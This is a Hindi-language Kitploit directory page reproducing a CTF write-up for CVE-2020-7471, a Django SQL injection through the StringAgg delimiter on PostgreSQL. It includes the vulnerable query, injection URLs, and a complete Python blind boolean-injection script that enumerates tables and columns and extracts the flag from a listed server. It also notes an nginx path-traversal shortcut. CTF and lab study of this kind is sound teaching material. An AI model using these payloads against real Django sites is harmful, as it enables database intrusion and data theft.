Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CTF_CVE-2020-7471 — CTF चुनौती जो CVE-2020-7471 का शोषण करती है, PostgreSQL StringAgg में Django SQL इंजेक्शन भेद्यता, Docker सेटअप और एक्सप्लॉइट स्क्रिप्ट के साथ। | Kitploit
उपकरण/GitHubGitHub/tempuss/ctf_cve-2020-7471
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubtempuss/ctf_cve-2020-7471

CTF_CVE-2020-7471

CTF चुनौती जो CVE-2020-7471 का शोषण करती है, PostgreSQL StringAgg में Django SQL इंजेक्शन भेद्यता, Docker सेटअप और एक्सप्लॉइट स्क्रिप्ट के साथ।

रिपॉजिटरी देखें
65 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DOBBY_IS_FREE!

  • प्रस्तुत CTF: 2020 Christmas CTF
  • क्षेत्र: WEB
  • कीवर्ड: DOBBY_IS_FREE!
  • कठिनाई: ★★★☆☆

पृष्ठभूमि

आमतौर पर वेब हैकर्स mysql पर SQL Injection का अध्ययन करते हैं, इसलिए मैंने postgresql का उपयोग करके एक इंजेक्शन समस्या बनाई ताकि विभिन्न डेटाबेस पर हमलों का अनुभव किया जा सके।

समाधान

इच्छित समाधान

  • Django सेवा में उत्पन्न हुई कमजोरी के कारण, संकेत देने के लिए HTTP प्रतिक्रिया में Version नामक एक कस्टम हेडर जोड़ा गया, जिसमें Django, Postgres संस्करण का उल्लेख किया गया। Django 3.0.1 संस्करण में होने वाली SQL Injection कमजोरी की खोज करने पर सार्वजनिक POC कोड आदि उपलब्ध हैं। Custom_Header Response

वेबसाइट पर पहुँचने पर पोस्ट सूची प्रदर्शित होती है Post List

  • बाईं ओर के नंबर पर क्लिक करने पर उस पोस्ट के pk और content मान के आधार पर पोस्ट देखी जाती है Post

  • वास्तविक बैकएंड कोड

  • root@kitploit:~
    results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
        custom_field=StringAgg('content', delimiter=content)).all()
    

    StringAgg फ़ंक्शन स्ट्रिंग को डिलीमीटर के साथ जोड़कर लौटाता है, लेकिन इस इनपुट मान के लिए कोई इनपुट सत्यापन नहीं है, इसलिए content भाग में इंजेक्शन पेलोड डाला जा सकता है।

    root@kitploit:~
    http:///vul/1/?content=-\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
    

    वास्तविक हैकर्स का समाधान

    • nginx सर्वर कॉन्फ़िगरेशन त्रुटि के कारण Path Traversal कमजोरी उत्पन्न हुई http://118.67.135.137/static../ URL तक पहुँचने के बाद सर्वर की सभी फ़ाइलों तक पहुँच संभव हो गई, जिससे बैकअप डंप फ़ाइल पढ़कर फ़्लैग प्राप्त हुआ

    कमजोरी

    CVE-2020-7471

    • Django संस्करण 1.11, 2.2, 3.0.x ≤ 3.0.2 में पाई गई SQL Injection कमजोरी CVE-2020-7471 का उपयोग कर समस्या

    • postgresql संबंधी फ़ंक्शनों में से StringAgg फ़ंक्शन से संबंधित कोड में तर्क मान जाँच सुविधा की कमी के कारण उत्पन्न कमजोरी

    एक्सप्लॉइट

    • निम्नलिखित एक्सप्लॉइट कोड है:
    root@kitploit:~
    import requests
    
    server = "http://118.67.135.137/post/"
    
    id = 1
    content_param = f"/?content="
    content = "IS_FREE!"
    
    
    
    def exists_check(content):
        """प्रतिक्रिया मान जाँच फ़ंक्शन"""
        if "title" in str(content):
            return True
        else:
            return False
    
    
    
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
        "Cache-Control": "no-cache",
        "Connection": "keep-alive",
        "Host": "127.0.0.1:8000",
        "Pragma": "no-cache",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
    }
    
    def get_table_info_from_information_schema():
        # तालिकाओं की संख्या जाँच
        table_count = 0
        table_count_get = False
        while table_count_get is False:
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
    
            table_count = table_count + 1
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                table_count = table_count - 1
                table_count_get = True
    
    
        # तालिका सूची निकालें
        table_row_list = []
        # public तालिकाओं की संख्या के अनुसार लूप
        for table_row in range(0,table_count):
            # तालिका नाम की लंबाई जाँच
            for table_name_size in range(0,50):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    break
            # तालिका नाम के आकार के अनुसार लूप
            table_name = ""
            for i in range(0,table_name_size):
                for ascii in range(0,128):
                    payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                    url = f"{server}{id}{content_param}{payload}"
                    resp = requests.get(url=url, headers=headers)
                    if exists_check(resp.content):
                        table_name = table_name+str(chr(ascii))
                        break
            table_row_list.append(table_name)
    
        print(table_row_list)
    
    def get_column_info_from_information_schema():
        vul_flag_column_count = 0
        table_count_get = False
        while table_count_get is False:
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
    
            #time.sleep(1)
            vul_flag_column_count = vul_flag_column_count + 1
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                vul_flag_column_count = vul_flag_column_count - 1
                table_count_get = True
    
        column_name_list = []
        for i in range(0,vul_flag_column_count):
            # तालिका नाम की लंबाई जाँच
            for table_name_size in range(0,50):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    break
    
            #vul_flag तालिका के स्तंभ का नाम जाँच
            column_name = ""
            for j in range(1,table_name_size+1):
                for ascii in range(0,128):
                    payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                    url = f"{server}{id}{content_param}{payload}"
                    resp = requests.get(url=url, headers=headers)
                    if exists_check(resp.content):
                        column_name = column_name+str(chr(ascii))
                        break
            column_name_list.append(column_name)
    
        print(column_name_list)
    
    def get_flag_from_flag_table():
        for flag_length in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
    
        flag = ""
        for j in range(1,flag_length+1):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    flag = flag+str(chr(ascii))
                    break
        print(flag)
    
    # इनफार्मेशन स्कीमा से तालिका जानकारी निकालें
    #get_table_info_from_information_schema()
    
    # तालिका का नाम पता चलने के बाद इनफार्मेशन स्कीमा से स्तंभ जानकारी निकालें
    #get_column_info_from_information_schema()
    
    # स्तंभ जानकारी के आधार पर फ़्लैग मान निकालें
    get_flag_from_flag_table()
    
    
    • निम्नलिखित निष्पादन परिणाम है:
    root@kitploit:~
    D033Y_!S_L0N3LY
    

    सेवा चलाने की विधि


    1. Docker छवि बनाएँ
    root@kitploit:~
    make build
    
    1. Docker छवि चालू करें
    root@kitploit:~
    make up
    
    1. वेबसाइट जाँचें
    • 127.0.0.1.

    संदर्भ

    Poc CVE-2020-7471 Django Security Django Official Document Django Release History

    टूल डाउनलोड करें